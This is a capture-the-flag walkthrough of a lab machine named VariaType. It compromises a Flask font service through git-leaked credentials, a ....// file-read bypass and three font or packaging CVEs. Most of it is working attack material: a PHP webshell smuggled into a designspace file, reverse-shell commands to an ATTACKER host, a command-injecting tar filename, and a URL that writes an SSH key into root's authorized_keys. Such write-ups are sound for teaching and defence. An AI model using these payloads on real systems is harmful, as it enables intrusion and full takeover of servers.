Machine Info
- Name: VariaType
- IP: 10.129.6.221
- OS: Linux (Debian 12)
- Difficulty: Medium
- Key Skills: Git Exposure, LFI via str_replace bypass, CVE-2025-66034 (fonttools varLib path traversal), CVE-2024-25081 (FontForge command injection), CVE-2025-47273 (setuptools PackageIndex path traversal)
Summary
VariaType is a Linux box running a Flask-based variable font generator backed by fonttools, alongside a PHP internal validation portal. Subdomain enumeration reveals portal.variatype.htb with an exposed .git directory leaking credentials for the portal login. The portal’s download.php has a path traversal via insufficient str_replace("../", "") sanitization, bypassed with ....//. Reading the Flask app source reveals it calls fonttools varLib (the CLI entrypoint triggering varLib.main()) on user-supplied .designspace files. CVE-2025-66034 allows path traversal in the <variable-font filename="..."> attribute, writing the compiled font (with embedded PHP payload via <labelname> CDATA) as a .php file to the portal webroot for RCE as www-data. A cronjob run by user steve processes font files with FontForge - CVE-2024-25081 allows command injection via crafted filenames inside tar archives. Finally, steve has sudo access to a Python script using setuptools.package_index.PackageIndex.download() - CVE-2025-47273 uses %2F URL encoding to bypass basename extraction and write an SSH key to /root/.ssh/authorized_keys.
Attack Chain:
Vhost discovery -> portal.variatype.htb -> .git exposure -> gitbot creds ->
LFI download.php (....// bypass) -> read Flask source -> CVE-2025-66034
fonttools webshell -> www-data -> CVE-2024-25081 FontForge tar injection ->
steve -> CVE-2025-47273 setuptools path traversal -> root
Reconnaissance
Port Scan
nmap -sC -sV --top-ports 1000 -T4 10.129.6.221
Key open ports:
- 22 - OpenSSH 9.2p1 Debian 2+deb12u7
- 80 - nginx 1.22.1 redirecting to
http://variatype.htb/
Web Application
The main site is a Flask app - a corporate page for “VariaType Labs” offering variable font generation services. The tool at /tools/variable-font-generator accepts .designspace XML files and master font uploads (.ttf/.otf), processes them with fonttools, and returns a compiled variable font.
Vhost Discovery
ffuf -u http://variatype.htb/ \
-H "Host: FUZZ.variatype.htb" \
-w subdomains-top1million-5000.txt -ac
Discovers portal.variatype.htb - an internal validation portal with a login form.
Foothold - Git Exposure and Portal Access
Exposed .git Directory
Directory enumeration on the portal reveals /.git/HEAD returns 200:
curl -s http://portal.variatype.htb/.git/HEAD
# ref: refs/heads/master
curl -s http://portal.variatype.htb/.git/refs/heads/master
# 753b5f5957f2020480a19bf29a0ebc80267a4a3d
Dumping the git objects reveals two commits. The latest commit (“fix: add gitbot user for automated validation pipeline”) adds hardcoded credentials to auth.php:
<?php
session_start();
$USERS = [
'gitbot' => 'G1tB0t_Acc3ss_2025!'
];
Portal Login
Logging into portal.variatype.htb with gitbot:G1tB0t_Acc3ss_2025! reveals a dashboard listing font files generated by the main app. Two key endpoints:
view.php?f=- strict regex validation^[a-zA-Z0-9._-]+$download.php?f=- usesstr_replace("../", "", $file)- bypassable
LFI via download.php
The download.php source (read via the LFI itself):
$file = str_replace("../", "", $file);
$filepath = '/var/www/portal.variatype.htb/public/files/' . $file;
Single-pass str_replace is bypassed with ....// which becomes ../ after stripping:
curl -s -b cookies.txt \
'http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc//passwd'
This confirms users: steve (uid 1000, /bin/bash), variatype (service account).
Reading the Flask Source
Using the LFI to read /etc/systemd/system/variatype.service reveals the Flask app at /opt/variatype/app.py. The critical code:
subprocess.run(
['fonttools', 'varLib', 'config.designspace'],
cwd=workdir, check=True, timeout=30
)
This calls fonttools varLib which invokes fontTools.varLib.main() - the function vulnerable to CVE-2025-66034.
www-data Shell - CVE-2025-66034 (fonttools varLib Path Traversal)
Building Valid Fonts
The exploit requires compilation to succeed. Create minimal interpolatable fonts locally:
from fontTools.fontBuilder import FontBuilder
from fontTools.ttLib.tables._g_l_y_f import Glyph
def make_font(path):
fb = FontBuilder(1000, isTTF=True)
fb.setupGlyphOrder(['.notdef', 'space'])
fb.setupCharacterMap({32: 'space'})
fb.setupGlyf({})
fb.font['glyf']['.notdef'] = Glyph()
fb.font['glyf']['space'] = Glyph()
fb.setupHorizontalMetrics({'space': (250, 0), '.notdef': (500, 0)})
fb.setupHorizontalHeader()
fb.setupNameTable({'familyName': 'Test', 'styleName': 'Regular'})
fb.setupOS2()
fb.setupPost()
fb.setupHead(unitsPerEm=1000)
fb.font.save(path)
make_font('Regular.ttf')
make_font('Bold.ttf')
Crafting the Malicious Designspace
The <variable-font filename="..."> attribute controls the output path. Combined with PHP payload injection via <labelname> CDATA:
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="400" maximum="700" default="400">
<labelname xml:lang="en">
<![CDATA[<?php system($_GET['cmd']); ?>]]>
</labelname>
</axis>
</axes>
<sources>
<source filename="Regular.ttf" familyname="Test" stylename="Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
<source filename="Bold.ttf" familyname="Test" stylename="Bold">
<location><dimension name="Weight" xvalue="700"/></location>
</source>
</sources>
<variable-fonts>
<variable-font name="Pwned"
filename="../../../var/www/portal.variatype.htb/public/cmd.php">
<axis-subsets><axis-subset name="Weight"/></axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
Uploading and Triggering
curl -X POST http://variatype.htb/tools/variable-font-generator/process \
-F '[email protected]' \
-F '[email protected];filename=Regular.ttf' \
-F '[email protected];filename=Bold.ttf'
# HTTP 200 - "Processing completed."
fonttools writes the compiled font (containing the embedded PHP tags in the name table) to cmd.php in the portal webroot. Accessing it executes PHP:
curl 'http://portal.variatype.htb/cmd.php?cmd=id' -o output.bin
strings output.bin | grep uid
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Trigger a reverse shell:
curl 'http://portal.variatype.htb/cmd.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261"'
User Flag - CVE-2024-25081 (FontForge Command Injection)
Discovery
A backup script at /opt/process_client_submissions.bak (owned by steve) reveals a cronjob that processes font files from the portal files directory using FontForge:
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
# ...
timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
font = fontforge.open('$file')
The script validates filenames with ^[a-zA-Z0-9._-]+$ but also processes .tar.gz archives. FontForge (CVE-2024-25081) has command injection when handling filenames inside archives - it passes them to system() unsanitized.
Exploit
Create a tar.gz containing an SFD file with shell metacharacters in the filename:
import tarfile, io
sfd = b"SplineFontDB: 3.0\nFontName: t\n"
t = tarfile.open("/tmp/exploit.tar.gz", "w:gz")
i = tarfile.TarInfo(name=";bash /tmp/rev.sh;.sfd")
i.size = len(sfd)
t.addfile(i, io.BytesIO(sfd))
t.close()
Place the rev.sh and tar.gz via the webshell:
# Create reverse shell
echo 'bash -i >& /dev/tcp/ATTACKER/4445 0>&1' > /tmp/rev.sh
chmod +x /tmp/rev.sh
# Place exploit in watched directory
cp /tmp/exploit.tar.gz /var/www/portal.variatype.htb/public/files/exploit.tar.gz
The tar filename passes the regex check. When the cron runs, FontForge extracts the archive and the malicious filename ;bash /tmp/rev.sh;.sfd triggers command injection.
steve@variatype:~$ id
uid=1000(steve) gid=1000(steve) groups=1000(steve)
steve@variatype:~$ cat /home/steve/user.txt
d9b0939aff6b22faa316048919de2544
Root Flag - CVE-2025-47273 (setuptools PackageIndex Path Traversal)
Discovery
Steve has sudo NOPASSWD for a Python script:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
The script uses setuptools.package_index.PackageIndex().download(url, PLUGIN_DIR) with setuptools 78.1.0 (vulnerable, patched in 78.1.1).
Vulnerability Analysis
In _download_url(), the filename is extracted via egg_info_for_url():
base = urllib.parse.unquote(path.split('/')[-1])
The key: path.split('/') splits on literal /, but %2F is NOT a literal /. After splitting, unquote() decodes %2F to /. This produces an absolute path starting with /, and os.path.join(tmpdir, '/absolute/path') discards tmpdir entirely.
The .. sanitization loop doesn’t help because no .. is needed.
Exploit
Generate an SSH keypair and serve the public key:
ssh-keygen -t ed25519 -f variatype_key -N ''
python3 -m http.server 8000 # serving authorized_keys
Trigger the path traversal to write to root’s authorized_keys:
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
'http://ATTACKER:8000/%2Froot%2F.ssh%2Fauthorized_keys'
# Plugin installed at: /root/.ssh/authorized_keys
The URL http://ATTACKER:8000/%2Froot%2F.ssh%2Fauthorized_keys:
urlparsepath =/%2Froot%2F.ssh%2Fauthorized_keyssplit('/')[-1]=%2Froot%2F.ssh%2Fauthorized_keys(no literal/to split)unquote()=/root/.ssh/authorized_keys(absolute path!)os.path.join(PLUGIN_DIR, '/root/.ssh/authorized_keys')=/root/.ssh/authorized_keys
SSH in as root:
ssh -i variatype_key [email protected]
root@variatype:~# cat /root/root.txt
eddd43a5b6232839dad62969a8b2d2b7
Key Takeaways
- Git exposure on subdomains is a common source of credential leaks - always check for
/.git/HEAD - str_replace for path sanitization is fundamentally broken - use
basename()orrealpath()validation instead - CVE-2025-66034 shows why user-controlled XML attributes should never influence file paths in fonttools - the fix was a single
os.path.basename()call - CVE-2024-25081 demonstrates the danger of processing untrusted archives with tools that use
system()internally - CVE-2025-47273 is a subtle URL encoding attack:
%2Fsurvivessplit('/')but becomes/afterunquote(), turning a relative filename into an absolute path that overridesos.path.join()’s base directory
